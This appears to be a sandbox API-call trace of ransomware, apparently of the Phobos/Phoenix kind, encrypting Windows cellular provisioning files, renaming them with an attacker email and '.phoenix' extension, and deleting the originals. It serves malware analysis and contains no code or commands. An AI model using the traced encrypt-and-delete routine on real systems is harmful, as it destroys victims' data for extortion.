	[0259.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.334] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.334] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.337] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0259.337] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.337] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x291, lpOverlapped=0x0) returned 1
	[0259.339] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0259.339] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0259.340] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0259.340] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.340] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0259.340] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.340] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0259.340] CryptDestroyKey (hKey=0x151200) returned 1
	[0259.340] CloseHandle (hObject=0x2e0) returned 1
	[0259.340] CloseHandle (hObject=0x310) returned 1
	[0259.340] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.341] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.342] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0259.342] CloseHandle (hObject=0x310) returned 1
	[0259.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.343] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.344] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.344] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0259.344] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.344] ReadFile (in: hFile=0x310, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.346] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0259.346] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0259.347] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0259.347] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.347] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0259.347] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.347] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0259.347] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.347] CloseHandle (hObject=0x310) returned 1
	[0259.347] CloseHandle (hObject=0x2e0) returned 1
	[0259.348] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml")) returned 1
	[0259.349] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.349] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=652) returned 1
	[0259.349] CloseHandle (hObject=0x2e0) returned 1
	[0259.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.350] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.350] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.352] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0259.352] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.352] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28c, lpOverlapped=0x0) returned 1
	[0259.353] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0259.354] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0259.354] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0259.355] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.355] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0259.355] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.355] WriteFile (in: hFile=0x310, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0259.355] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.355] CloseHandle (hObject=0x2e0) returned 1
	[0259.355] CloseHandle (hObject=0x310) returned 1
	[0259.355] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.356] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.356] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.357] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=656) returned 1
	[0259.357] CloseHandle (hObject=0x310) returned 1
	[0259.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.357] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.357] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.358] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0259.358] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.358] ReadFile (in: hFile=0x310, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x290, lpOverlapped=0x0) returned 1
	[0259.359] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0259.359] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0259.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0259.360] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.360] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0259.360] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.360] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0259.360] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0259.360] CloseHandle (hObject=0x310) returned 1
	[0259.361] CloseHandle (hObject=0x2e0) returned 1
	[0259.361] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.362] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.362] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.363] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=646) returned 1
	[0259.363] CloseHandle (hObject=0x2e0) returned 1
	[0259.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.364] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.364] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0259.365] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.365] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x286, lpOverlapped=0x0) returned 1
